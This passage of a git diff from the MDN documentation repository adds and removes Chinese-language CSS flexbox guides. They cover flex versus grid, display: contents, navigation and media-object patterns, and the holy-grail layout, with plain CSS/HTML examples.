In this next live example the child elements have been floated, and then their container has had display: flex added. If you remove display: flex, you should see that the .box element collapses as we have no clearing applied. This demonstrates that the float is happening. Re-apply display: flex and the collapsing does not happen. This is because the items no longer have a float applied, as they have been transformed into flex items.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/floats.html", '100%', 430)}}

+ +

Flexbox and Grid Layout

+ +

CSS Grid Layout and Flexbox generally act in the same way with regards to overwriting other methods. You might however want to use flexbox as a fallback for grid layout, as there is better support for flexbox in older browsers. This approach works very well. If a flex item becomes a grid item, then the flex properties that may have been assigned to the child elements will be ignored.

+ +

You can use the Box Alignment properties across both layout methods, so using flexbox as a fallback for grid layout can work very well.

+ +

Flex and grid — what's the difference?

+ +

A common question is to ask what the difference is between Flexbox and CSS Grid Layout — why do we have two specifications that sometimes appear to be doing the same thing?

+ +

The most straightforward answer to this question is defined in the specifications themselves. Flexbox is a one-dimensional layout method whereas Grid Layout is a two-dimensional layout method. The example below has a flex layout. As already described in the Basic concepts article, flex items can be allowed to wrap but, once they do so, each line becomes a flex container of its own. When space is distributed flexbox does not look at the placement of items in other rows and tries to line things up with each other.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/flex-layout.html", '100%', 750)}}

+ +

If we create a very similar layout using Grid, we can control the layout in both rows and columns.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/grid-layout.html", '100%', 700)}}

+ +

These examples point to another key difference between these layout methods. In Grid Layout you do the majority of sizing specification on the container, setting up tracks and then placing items into them. In flexbox, while you create a flex container and set the direction at that level, any control over item sizing needs to happen on the items themselves.

+ +

In some cases you could happily use either layout method, but as you become confident with both you will find each one suiting different layout needs, and you will end up with both methods in your CSS. There is rarely a right or wrong answer.

+ +

As a rule of thumb, if you are adding widths to flex items in order to make items in one row of a wrapped flex container line up with the items above them you really want two-dimensional layout. In this case it is likely that the component would be better laid out using CSS Grid Layout. It isn't the case that you should use flexbox for small components and grid layout for larger ones; a tiny component can be two dimensional, and a large layout can be represented better with layout in one dimension. Try things out — we have a choice in layout method for the first time, so take advantage of it.

+ +

For more comparisons of grid and flexbox see the article Relationship of Grid Layout to other layout methods. This article details many of the ways that Grid Layout differs from flex layout, and demonstrates some of the extra functionality you get when using Grid Layout such as layering of items on the grid. This may also help in your decision as to which layout method to use.

+ +

Flexbox and display: contents

+ +

The contents value of the {{cssxref("display")}} property is a new value that is described in the spec as follows:

+ +
+

“The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.”

+
+ +

This value of display controls box generation, and whether the element should generate a box that we can style and see on the page, or whether instead the box it would normally create should be removed and the child elements essentially moved up to participate in whatever layout method the parent would have been part of. This is much easier to see with an example.

+ +

In the following live example I have a flex container with three child elements. One of these flex items has two elements nested inside it, which would not ordinarily participate in flex layout. Flex layout only applies to the direct children of a flex container.

+ +

By adding display: contents to the wrapper around the nested elements, you can see that that item has disappeared from the layout, allowing the two sub-children to be laid out as if they were direct children of the flex container. You can try removing the display: contents line to see it return.

+ +

Note that this only removes the box from the layout; the sub-children don’t become direct children in any other way. You can see that as I have used a direct child selector to add the background and borders to the flex items, this has not been applied to our nested children. They have been laid out as flex items, but as they are not direct children they do not get the other styling.

+ +
+

Warning: Use of display: contents will also remove the element from the accessibility tree – screen readers will not see what's inside, just the same as if you used display: none. Use of contents should only be for presentational, not content, elements.

+
+ +

Also, having removed the box you cannot then use it to — for example — add a background colour behind the nested sub children. If you remove display: contents in this live example you will see that the direct child we are removing has an orange background colour. This also disappears when the box disappears. 

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/display-contents.html", '100%', 650)}}

+ +

Browser support for display:contents is limited and required for this demo to work. Firefox supports display: contents already, and the value is being implemented in Chrome. Once there is better browser support this feature will be very useful in circumstances where you need the markup for semantic reasons but do not want to display the box that it would generate by default.

diff --git a/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html new file mode 100644 index 0000000000..1b4c283f36 --- /dev/null +++ b/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html @@ -0,0 +1,131 @@ +--- +title: Flexbox典型用例 +slug: Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +--- +

{{CSSRef}}

+ +

在这个文档中,我们将看一些常见flexbox的用例—这些都是比其他布局更合理的方法。

+ +

为什么选择flexbox?

+ +

在浏览器完美支持的环境中,你选择使用flexbox的原因是你希望把一堆元素不是放在这个方向就是那个方向。 因为在放置元素过程中,你想控制元素在那个方向的维度,或者控制他们彼此之间的间距。flexbox就是为此设计的。. 又可以阅读Relationship of Flexbox to other layout methods来了解更多关于flexbox和CSS Grid布局的区别, 在这篇文章里面,我们会讨论flexbox如何运用与CSS整体布局。

+ +

在现实中,为了便于对齐,我们通常会选择用Flexbox作为替代品,来完成即使用Grid布局更好的情况。一旦盒子对齐(Box Alignment )被盒模型所实行,这种情况就会得到改善。在这个教程中,我们会介绍一些会在现在使用flexbox的用例。

+ +

导航

+ +

导航的一个常见特征,就是使用水平条的样式去呈现一系列元素。这一模式看起来很简单,但是在 flexbox 出现之前却是很难实现的。 它成为一个最简单的 flexbox 示例,可以被被看成是 flexbox 理想的使用场景。

+ +

当我们有一组元素需要水平排列展示,很可能在末尾会多出一些空间。我们需要决定如何去处理这些额外的空间,通常有多种不同的方案。 我们要么在元素外部展示这些空间即使用间距或包裹的方式来分隔开不同元素,要么将空间吸收至元素内部即需要一个方法来允许元素拉伸以占满额外空间。

+ +

在元素外部处理空间分布

+ +

为了让多余的空间分布在多个元素之间或周围,我们使用 flexbox 中相应的对齐属性以及 {{cssxref("justify-content")}} 属性。你可以通过 Aligning Items in a flex container 来阅读更多关于这个专门用来处理主轴(main axis)对齐的属性。

+ +

在下面的示例中,我们让各元素都展示为其自身的尺寸,通过使用 justify-content: space-between 使元素之间拥有相同的空间。你可以通过 space-around 的值来改变空间分布的方式,在浏览器支持的环境下还可以使用 space-evenly。你也可以使用 flex-start 让空间展示在所有元素末尾。使用 flex-end 让空间展示在所有元素之前,  center 可以剧中所有元素。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}

+ +

让元素自己处理空间分布

+ +

导航的另一个不同模式是让元素自己去决定如何处理额外的空间,而不是将空间分布在它们之间。 在这种情况下,我们使用 {{cssxref("flex")}} 属性来允许各元素彼此成比例的拉伸和收缩,正如 Controlling ratios of flex items along the main axis 所描述。

+ +

如果我想让导航中的所有元素都等宽,会使用 flex: auto,这是 flex: 1 1 auto 的简写形式。所有元素都在它们的 flex-basis 尺寸上进行自动的收缩。这意味着,较长的元素会获得更多的空间。因为 flex-basis 的值被设置为 0,所以所有空间都会被平均分配。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}

+ +

拆分导航

+ +

另一种在主轴上对齐元素的方式就是使用自动边距。 这种方式将创造出一部分元素左对齐而另一部分右对齐的导航栏设计。

+ +

这儿我们使用在 Using auto margins for main axis alignment 这篇文章中介绍的自动边距技术。所有的元素在主轴上按照弹性盒布局的默认设定 flex-start 进行对齐,同时我们给那个需要右对齐的元素添加 margin-left: auto; 样式。你可以尝试将那个类名转移到其它元素上以改变(向右)分割作用的位置。

+ +

在这个例子里我们也为每个元素启用了 margin 属性来控制元素间的间隔,并给容器添加负边距以保证元素与容器的接洽处没有缝隙。在弹性盒布局实现盒式对齐规范中的 gap 属性前,如果我们想要控制元素的间隔就不得不使用使用边距属性。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}

+ +

元素居中

+ +

在弹性盒布局到来之前,开发者们曾开玩笑说网页设计中最难的部分是垂直居中。 现在,使用弹性盒布局中的对齐属性,这会变得很简单,如下例所示。

+ +

你可以修改对齐方式,用 flex-start 使元素对齐到交叉轴的开始处或者用 flex-end 使元素对齐到交叉轴的结束处。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}

+ +

在未来,我们可能不需要为了元素的居中而创建一个弹性盒容器,因为盒对齐属性最终会在块布局中实现。但是现在,假如你想在一个元素中居中另一个,弹性盒布局是一个很好的选择。在上面的例子中,将一个元素放入弹性盒容器里之后,要么在容器中使用 align-items, 要么在元素中使用 align-self 来达到所需的效果。

+ +

绝对底部

+ +

不管你使用的是弹性盒还是网格来进行布局,这些布局方式都只对弹性盒容器或者网格容器的(直接)子元素生效。这也意味着即使你的 content 长度不定,组件在高度上仍会充满整个弹性盒容器或者网格容器。但任何使用常规块布局的方法都会导致 content 内容较少时 footer 上升到 content 下方而不是容器的底部。Two card components showing that the internals of the component do not stretch with the wrapper.

+ +

弹性盒就能解决常规块布局的问题。我们创建一个弹性盒容器, 并启用 {{cssxref("flex-direction")}}: column 。之后我们在 content 部分启用 flex: 1 —— flex: 1 1 0 的缩略形式,这个元素就可以在 flex-basis 为零的基础上伸缩。因为这是唯一一个可以延伸的元素,它会占据所有在弹性盒容器中可以占据的空间,同时将 footer 推至底部。如果你移除例子里的属性 flex 你就会看见 footer 回到 content 底部。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}

+ +

媒体对象

+ +

媒体对象是网页设计中的常见模式:这种模式下,一侧具有图片或其他元素,另一侧具有文本。理想情况下,媒体对象应该可以翻转:即把图片从左侧移动到右侧。

+ +

这种模式随处可见,用于评论、以及其他需要显示图片和描述的地方。使用flexbox可以允许包含图片的媒体对象部分从图片中获取其尺寸调整信息,并对媒体对象的主体进行弹性布局,以占用剩余空间。

+ +

在下面的实例中,您可以看到我们的媒体对象。使用对齐属性来将交叉轴上的元素对齐到flex-start,然后为.content flex元素设置为flex: 1。与上面的列布局卡片模式一样,启用flex: 1表示此部分卡片可以延伸。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}

+ +

Some things that you might want to try in this live example relate to the different ways you might want to constrain the media object in your design.

+ +

为避免图片过大,可以在为图片添加{{cssxref("max-width")}}。由于媒体对象那一侧使用的是flexbox的初始值,它可以缩小但不会延伸,且其 flex-basis 值是auto。应用于图片的任何{{cssxref("width")}} 或 max-width将会成为flex-basis。

+ +
.image img {
+  max-width: 100px;
+}
+
+ +

你也可以允许双方按比例延伸和缩小。如果将两边都设置为flex: 1,它们从{{cssxref("flex-basis")}}为0增长和缩小,因此最终会得到两个大小相等的列。你可以将内容作为指南,并将其都设置为 flex: auto,这种情况下,它们将从内容的大小或直接应用于弹性元素的任何大小(例如图片的宽度)延伸和缩小。

+ +
.media .content {
+  flex: 1;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

You could also give each side different {{cssxref("flex-grow")}} factors, for example setting the side with the image to flex: 1 and the content side to flex: 3. This will mean they use a flex-basis of auto but distribute that space at different rates according to the flex-grow factor you have assigned. The flex properties we use to do this are described in detail in the guide Controlling ratios of flex items along the main axis.

+ +
.media .content {
+  flex: 3;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

Flipping the media object

+ +

To switch the display of the media object so that the image is on the right and the content is on the left we can use the flex-direction property set to row-reverse. The media object now displays the other way around. I have achieved this in the live example by adding a class of flipped alongside the existing .media class. This means you can see how the display changes by removing that class from the html.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}

+ +

Form controls

+ +

Flexbox is particularly useful when it comes to styling form controls. Forms have lots of markup and lots of small elements that we typically want to align with each other. A common pattern is to have an {{htmlelement("input")}} element paired with a {{htmlelement("button")}}, perhaps for a search form or where you simply want your visitor to enter an email address.

+ +

Flexbox makes this type of layout easy to achieve. I have contained my <button> and <input> field in a wrapper which I have given a border and set to display: flex. I then use the flex properties to allow the <input> field to grow, while the button does not grow. This means we have a pair of fields, with the text field growing and shrinking as the available space changes.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}

+ +

You could add a label or icon to the left as easily as we popped the button onto the right. I have added a label, and other than some styling for background colour I didn’t need to change the layout. The stretchy input field now has a little less space to play with but it uses the space left after the two items are accounted for.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}

+ +

Patterns like this can make it much easier to create a library of form elements for your design, which easily accommodate additional elements being added. You are taking advantage of the flexibility of flexbox by mixing items that do not grow with those that do.

+ +

结论

+ +

当了解上面的这些示例时,你已经满怀希望的想象怎么找到最好的方式使用弹性盒子布局实现你想要的结果。大部分情况下,你拥有不止一种选择。将可以变化的内容和不能变化的混合在一起,通过内容来决定他们的大小或者允许弹性布局设置按比例分配空间。要因地制宜,对症下药。

+ +

先考虑一下用什么方法展示你的内容比较好,然后在了解怎么用弹性布局或其他布局方法实现你的想法。

diff --git a/files/zh-cn/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html b/files/zh-cn/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html deleted file mode 100644 index d50cf7582f..0000000000 --- a/files/zh-cn/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html +++ /dev/null @@ -1,408 +0,0 @@ ---- -title: 使用 CSS 弹性盒子 -slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes -tags: - - CSS - - CSS Flexible Boxes - - Flex - - Web - - flexbox - - 弹性 - - 弹性容器 - - 弹性盒子 - - 弹性项目 - - 指南 - - 盒子模型 - - 范例 - - 进阶 -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox -translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes ---- -
{{CSSRef}}
- -

CSS3 弹性盒子(Flexible BoxFlexbox),是一种用于在页面上布置元素的布局模式使得当页面布局必须适应不同的屏幕尺寸和不同的显示设备时,元素可预测地运行。对于许多应用程序,弹性盒子模型提供了对块模型的改进,因为它不使用浮动,flex容器的边缘也不会与其内容的边缘折叠。

- -

许多设计师会发现弹性盒子模型更易于使用。弹性盒子中的子元素可以在各个方向上进行布局,并且能以弹性尺寸来适应显示空间。由于元素的显示顺序可以与它们在源代码中的顺序无关,定位子元素将变得更容易,并且能够用更简单清晰的代码来完成复杂的布局。这种无关性是仅限制于视觉呈现上的,语言顺序以及基于源代码顺序的导航均不受影响。

- -
注意: 虽然 CSS 弹性盒子布局规范 还处于最终征求意见稿 (Last Call Working Draft)阶段(参见最新编辑草案),并非所有浏览器都实现了弹性盒子的所有功能。但,这么说吧,现在全线产品对弹性盒子都有良好支持。最新的兼容性状况可以查看每个具体属性的兼容性表格获取。
- -

弹性盒布局概念

- -

在定义方面来说,弹性布局是指通过调整其内元素的宽高,从而在任何显示设备上实现对可用显示空间最佳填充的能力。弹性容器扩展其内元素来填充可用空间,或将其收缩来避免溢出。

- -

块级布局更侧重于垂直方向、行内布局更侧重于水平方向,与此相对的,弹性盒子布局算法是方向无关的。虽然块级布局对于单独一个页面来说是行之有效的,但其仍缺乏足够的定义来支持那些必须随用户代理(user agent)不同或设备方向从水平转为垂直等各种变化而变换方向、调整大小、拉伸、收缩的应用程序组件。 弹性盒子布局主要适用于应用程序的组件及小规模的布局,而(新兴的)栅格布局则针对大规模的布局。这二者都是 CSS 工作组为在不同用户代理、不同书写模式和其他灵活性要求下的网页应用程序有更好的互操作性而做出的更广泛的努力的一部分。

- -

弹性盒布局相关词汇

- -

关于弹性盒子的讨论已经从诸如水平/行内轴和垂直/块级轴这些术语中解放出来,与此同时,需要有一套新的术语来正确描述此模型。在学习下面的词汇项目时请对照下图。图中是一个 flex-direction 属性为 row的弹性容器,意味着其内的弹性项目将根据既定书写模式沿主轴水平排列,其方向为元素的文本流方向,在这个例子里,为从左到右。

- -

弹性布局相关名词

- -
-
弹性容器(Flex container)
-
包含着弹性项目的父元素。通过设置 {{Cssxref("display")}} 属性的值为 flexinline-flex 来定义弹性容器。
-
弹性项目(Flex item)
-
-

弹性容器的每个子元素都称为弹性项目。弹性容器直接包含的文本将被包覆成匿名弹性单元。

-
-
轴(Axis)
-
-

每个弹性框布局包含两个轴。弹性项目沿其依次排列的那根轴称为主轴(main axis)。垂直于主轴的那根轴称为侧轴(cross axis)

- -
    -
  • flex-direction 确立主轴。
  • -
  • justify-content 定义了在当前行上,弹性项目沿主轴如何排布。
  • -
  • align-items 定义了在当前行上,弹性项目沿侧轴默认如何排布。
  • -
  • align-self 定义了单个弹性项目在侧轴上应当如何对齐,这个定义会覆盖由 align-items 所确立的默认值。
  • -
-
-
方向(Direction)
-
-

弹性容器的主轴起点(main start)/主轴终点(main end)侧轴起点(cross start)/侧轴终点(cross end)描述了弹性项目排布的起点与终点。它们具体取决于弹性容器的主轴与侧轴中,由 writing-mode 确立的方向(从左到右、从右到左,等等)。

- -
    -
  • order 属性将元素与序号关联起来,以此决定哪些元素先出现。
  • -
  • flex-flow 属性是 flex-directionflex-wrap 属性的简写,决定弹性项目如何排布。
  • -
-
-
行(Line)
-
-

根据 flex-wrap 属性,弹性项目可以排布在单个行或者多个行中。此属性控制侧轴的方向和新行排列的方向。

-
-
尺寸(Dimension)
-
-

根据弹性容器的主轴与侧轴,弹性项目的宽和高中,对应主轴的称为主轴尺寸(main size) ,对应侧轴的称为 侧轴尺寸(cross size)

- - -
-
- -

定义一个弹性盒子

- -

为要使用此样式的元素指派 CSS,需按以下方式设置 display 属性:

- -
display : flex
- -

或者

- -
display : inline-flex
- -

这样做将元素定义为弹性容器,其子元素则成为弹性项目。值 flex 使弹性容器成为块级元素。值 inline-flex 使弹性容器成为单个不可分的行内级元素。

- -
注意:厂商前缀标记会附加给 display 属性值,而不是加给 display 属性本身。例如:display : -webkit-flex
- -

弹性项目须知

- -

弹性容器直接包含的文本将自动包覆成匿名弹性项目。不过,一个只包含一系列空白符(如一堆空格或制表符等)的匿名弹性项目不会被渲染,就如同对其指派 display: none

- -

对于弹性容器的绝对定位子元素来说,其静态位置参照弹性容器的内容框的主起始角确定,而后依此完成此元素的定位。

- -

相邻的弹性元素其外边距不会互相合并。使用 auto 外边距可以吸收掉水平或垂直方向上的额外空间,这可以用于对齐或分隔相邻的弹性项目。更多细节请参考 W3C 弹性框布局模型规范中的 Aligning with 'auto' margins

- -

不像 CSS 中的其他对齐方法,弹性框的对齐属性将进行“真正的”居中对齐。这意味着即使弹性条目溢出了弹性容器,它依然保持居中。不过这在某些时候可能会有问题。如果溢出超过了页面的上边缘或左边缘(在从左到右的语言中,比如英语;在诸如阿拉伯语这样从右到左的语言中这个问题更会出现在右边缘),则虽然那些地方确实有内容,却无法滚动到那些位置。在未来的发布版本里,对齐属性将会有所扩展,使其包含有“安全”选项。目前,如果操心这点,可以改用外边距来达成居中效果,因为外边距会用比较“安全”的方式来响应变化,出现溢出时将停止居中。对这种需要居中的弹性项目,不使用 align- 属性,而使用自动外边距就能解决这个问题。对弹性容器中第一个和最后一个弹性项目的外侧边缘应用,也可以使用自动外边距来替代 justify- 属性。自动外边距会自动伸缩来占满剩余空间,当有剩余空间存在时弹性项目将会居中,如果没有则切换至常规对齐方式。不过很不幸,如果尝试在多行的弹性框中用基于外边距的居中方法来替代 justify-content,就必须对每一行的第一个和最后一个弹性项目应用外边距。此时除非能够事先预测每一行都结束于哪个元素,否则就不能愉快的在主轴方向上用基于外边距的居中方法来替代 justify-content 属性了。

- -

再强调一遍,元素的显示顺序与它们在源代码中的顺序无关,这种无关性只影响视觉呈现,语音顺序以及基于源代码顺序的导航均不受影响。{{cssxref("order")}} 属性并不影响语音和导航的次序。因此开发者们必须小心,合理地安排元素在源代码中的顺序,以免破坏文档的可访问性。

- -

弹性盒子相关属性

- -

不影响弹性盒子的属性

- -

由于弹性盒子使用了不同的布局算法,某些属性用在弹性容器上没有意义:

- -
    -
  • 多栏布局模块column-* 属性对弹性项目无效。
  • -
  • {{cssxref("float")}} 与 {{cssxref("clear")}} 对弹性项目无效。使用 float 将使元素的 display 属性计为block
  • -
  • {{cssxref("vertical-align")}} 对弹性项目的对齐无效。
  • -
- -

示例

- -

基本的弹性布局示例

- -

这个基本的示例展示了如何对元素应用弹性布局,以及在弹性布局状态下相邻元素的行为方式。

- -
<!DOCTYPE html>
-<html lang="en">
-  <head>
-    <style>
-
-   .flex
-   {
-      /* 基本样式 */
-      width: 350px;
-      height: 200px;
-      border: 1px solid #555;
-      font: 14px Arial;
-
-      /*  建立弹性框 */
-      display: -webkit-flex;
-      -webkit-flex-direction: row;
-
-      display: flex;
-      flex-direction: row;
-   }
-
-   .flex > div
-   {
-      -webkit-flex: 1 1 auto;
-      flex: 1 1 auto;
-
-      width: 30px; /* 让过渡表现良好。(从/到"width:auto"的过渡
-                      至少在 Gecko 和 Webkit 上是有 bug 的。
-                      更多信息参见 http://bugzil.la/731886 ) */
-
-      -webkit-transition: width 0.7s ease-out;
-      transition: width 0.7s ease-out;
-   }
-
-   /* colors */
-   .flex > div:nth-child(1){ background : #009246; }
-   .flex > div:nth-child(2){ background : #F1F2F1; }
-   .flex > div:nth-child(3){ background : #CE2B37; }
-
-   .flex > div:hover
-   {
-        width: 200px;
-   }
-
-   </style>
-
- </head>
- <body>
-  <p>Flexbox nuovo</p>
-  <div class="flex">
-    <div>uno</div>
-    <div>due</div>
-    <div>tre</div>
-  </div>
- </body>
-</html>
- -

圣杯布局示例

- -

此示例展示了弹性盒子根据不同屏幕分辨率动态改变布局的能力。下图说明了这种转换。

- -

HolyGrailLayout.png

- -

这里展示的正是针对浏览器窗口的页面布局必须为智能手机窗口优化的场景。不仅元素的尺寸需要缩减,其呈现顺序也需要改变。弹性盒子让这变得很简单。

- -
<!DOCTYPE html>
-<html lang="en">
-  <head>
-    <style>
-
-  body {
-   font: 24px Helvetica;
-   background: #999999;
-  }
-
-  #main {
-   min-height: 800px;
-   margin: 0px;
-   padding: 0px;
-   display: -webkit-flex;
-   display:         flex;
-   -webkit-flex-flow: row;
-           flex-flow: row;
-   }
-
-  #main > article {
-   margin: 4px;
-   padding: 5px;
-   border: 1px solid #cccc33;
-   border-radius: 7pt;
-   background: #dddd88;
-   -webkit-flex: 3 1 60%;
-           flex: 3 1 60%;
-   -webkit-order: 2;
-           order: 2;
-   }
-
-  #main > nav {
-   margin: 4px;
-   padding: 5px;
-   border: 1px solid #8888bb;
-   border-radius: 7pt;
-   background: #ccccff;
-   -webkit-flex: 1 6 20%;
-           flex: 1 6 20%;
-   -webkit-order: 1;
-           order: 1;
-   }
-
-  #main > aside {
-   margin: 4px;
-   padding: 5px;
-   border: 1px solid #8888bb;
-   border-radius: 7pt;
-   background: #ccccff;
-   -webkit-flex: 1 6 20%;
-           flex: 1 6 20%;
-   -webkit-order: 3;
-           order: 3;
-   }
-
-  header, footer {
-   display: block;
-   margin: 4px;
-   padding: 5px;
-   min-height: 100px;
-   border: 1px solid #eebb55;
-   border-radius: 7pt;
-   background: #ffeebb;
-   }
-
-  /* 窄到已不足以支持三栏 */
-  @media all and (max-width: 640px) {
-
-   #main, #page {
-    -webkit-flex-flow: column;
-            flex-direction: column;
-   }
-
-   #main > article, #main > nav, #main > aside {
-    /* 恢复到文档内的自然顺序 */
-    -webkit-order: 0;
-            order: 0;
-   }
-
-   #main > nav, #main > aside, header, footer {
-    min-height: 50px;
-    max-height: 50px;
-   }
-  }
-
- </style>
-  </head>
-  <body>
- <header>header</header>
- <div id='main'>
-    <article>article</article>
-    <nav>nav</nav>
-    <aside>aside</aside>
- </div>
- <footer>footer</footer>
-  </body>
-</html>
- -

试验场地

- -

有几个在线弹性盒子试验场地可供进行各种实验:

- - - -

务必牢记

- -

描述弹性项目如何排布的算法有时会极其棘手。在使用弹性盒子进行设计时,请考虑以下几点,以免碰到不好的意料外状况。

- -

弹性盒子的排布与书写模式是一致的,这意味着排布的主轴起点主轴终点根据的是开始结束的位置。

- -

侧轴起点侧轴终点依赖于开始前面(before)的位置定义,而这个“前面”依赖于 direction 的值。

- -

只要 break- 属性的设置值允许,在弹性框布局中是可以存在分页的。CSS3 中的 break-afterbreak-beforebreak-inside,以及 CSS 2.1 中的 page-break-beforepage-break-afterpage-break-inside 属性在弹性容器上、弹性项目上和弹性项目内均可以使用。

- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
特性Firefox (Gecko)ChromeInternet ExplorerOperaSafari
基础支持(单行弹性框){{CompatGeckoDesktop("18.0")}}[6]{{property_prefix("-moz")}}[2]
- {{CompatGeckoDesktop("22.0")}}
21.0{{property_prefix("-webkit")}}
- 29.0
11[3]12.10{{property_prefix("-webkit")}}[5]6.1{{property_prefix("-webkit")}}[1]
多行弹性框{{CompatGeckoDesktop("28.0")}}21.0{{property_prefix("-webkit")}}
- 29.0
11[3]12.10[5]
- 15 {{property_prefix("-webkit")}}
6.1{{property_prefix("-webkit")}}[1]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
特性Firefox Mobile (Gecko)Firefox OSAndroidIE PhoneOpera MobileSafari Mobile
基础支持(单行弹性框){{CompatGeckoMobile("18.0")}}{{property_prefix("-moz")}}[2]
- {{CompatGeckoMobile("22.0")}}
-

1.0{{property_prefix("-moz")}}[2]
- 1.1

-
2.1{{property_prefix("-webkit")}}[4]
- 4.4
1112.10[5]
- 15{{property_prefix("-webkit")}}
7{{property_prefix("-webkit")}}[1]
多行弹性框{{CompatGeckoMobile("28.0")}}1.32.1{{property_prefix("-webkit")}}[4]
- 4.4
1112.10[5]
- 15{{property_prefix("-webkit")}}
7{{property_prefix("-webkit")}}[1]
-
- -

[1] Safari 在版本 6.0 (iOS.1)以前支持的是规范的一个与现有版本不兼容的旧版草案。Safari 6.1(以及 iOS 7 上的 Safari)已更新为支持最终版本。

- -

[2] 直到 Firefox 22 为止,用户必须修改 about:config 设置,将 layout.css.flexbox.enabled 改为 true 才能激活对弹性盒子的支持。从 Firefox 22 到 Firefox 27,此设置项默认为 true,而 Firefox 28 中取消了此设置项。

- -

[3] Internet Explorer 10 支持的是规范的一个与现有版本不兼容的旧版草案;Internet Explorer 11 已更新为 支持最终版本。

- -

[4] Android 浏览器直到 4.3 为止支持的是规范的一个与现有版本不兼容的旧版草案。Android 4.4 已更新为支持最终版本。

- -

[5] 在 Opera 12.10 的弹性盒子初始实现中是没有前缀的,但 Opera 版本 15 到 16 和 Opera Mobile 的 15 到 19 需要 {{property_prefix("-webkit")}}. 在 Opera 17 及 Opera Mobile 24 中再次取消了前缀。

- -

[6] 直到 Firefox 29 为止,在弹性项目上指定 visibility: collapse 将使其被视为 display: none 处理,而预期的行为是被视为 visibility: hidden。建议的处理方式是在弹性项目上使用 visibility:hidden,这样其行为应当与指派了 visibility:collapse 一致。更多信息,参考 {{bug(783470)}}.

- -

参见

- - diff --git a/files/zh-cn/web/css/css_flexible_box_layout/using_flexbox_to_lay_out_web_applications/index.html b/files/zh-cn/web/css/css_flexible_box_layout/using_flexbox_to_lay_out_web_applications/index.html deleted file mode 100644 index 9ea8045d96..0000000000 --- a/files/zh-cn/web/css/css_flexible_box_layout/using_flexbox_to_lay_out_web_applications/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: 使用flexbox来布局web应用 -slug: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications -tags: - - CSS - - 弹性盒子 -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox -translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications ---- -

{{CSSRef}}

- -

使用 flexbox 可以帮助你设计出引人注目的布局,并且在pc端或移动端能够很好的缩放。告别使用浮动的 {{HTMLElement("div")}} 元素、绝对定位 和一些JavaScript hacks, 使用仅仅几行 CSS 就可以构建出水平或垂直方向的布局。下面是一些基本的使用案例:

- -
    -
  • 你想要将一个元素放在页面的中间
  • -
  • 你想要一组在垂直方向可以一个紧挨一个的布局容器
  • -
  • 你像要创建一行按钮或者其它元素,这些元素在小屏幕中可以垂直折叠
  • -
- -

这篇文章只囊括了在不使用前缀就可以支持现行标准的浏览器下如何使用 flexbox 的相关信息。 想了解更多关于带有供应商前缀的老版本浏览器的资料,请点击这里 the more general guide to using CSS flexible boxes.

- -

基础

- -

如果你想让元素呈水平或柱状,或如果你想让元素垂直布局,在任何 {{HTMLElement("div")}} 元素中,通过设置 {{cssxref("display")}} 属性为 flex 来使用flexbox,然后设置它任意一行的 {{cssxref("flex-flow")}} 属性, 你就可以在其中尽情的创建元素了。如果你正在使用水平的 flexbox,并想让你的内容垂直换行,只需指定值为wrap。

- -

接下来,只要你想让某个元素使用弹性布局,就为它添加 {{cssxref("flex")}} 属性。一般情况下,你将会使用下列三个值之一:

- -
    -
  • 如果你想让元素仅仅使用它本身的宽度,比如按钮,则设置 flex: none,none 将会被解释为 0 0 auto.
  • -
  • 如果想要一个固定大小的元素,则设置 flex: 0 0 size。如:flex 0 0 60px。
  • -
  • 如果你想让元素自动扩展到可以利用的空间,如果有多个这种类型的元素,它们可以平均分配空间,则设置 flex: auto,它代表 1 1 auto.
  • -
- -

有可能还有使用方法,但是这应该囊括了最基本的使用案例。让我们用几个例子来看看如何使用。

- -

示例 1: 在页面中把一个元素居中

- -

在这个例子中,要做的最简单的事情就是创建两个 flexbox,其中一个在另一个中。每个 flexbox 有三个元素:其中两个当作中间元素的垫子,另一个就是中间元素本身。

- -

CSS 内容

- -
.vertical-box {
-  display: flex;
-  height: 400px;
-  width: 400px;
-  flex-flow: column;
-}
-.horizontal-box {
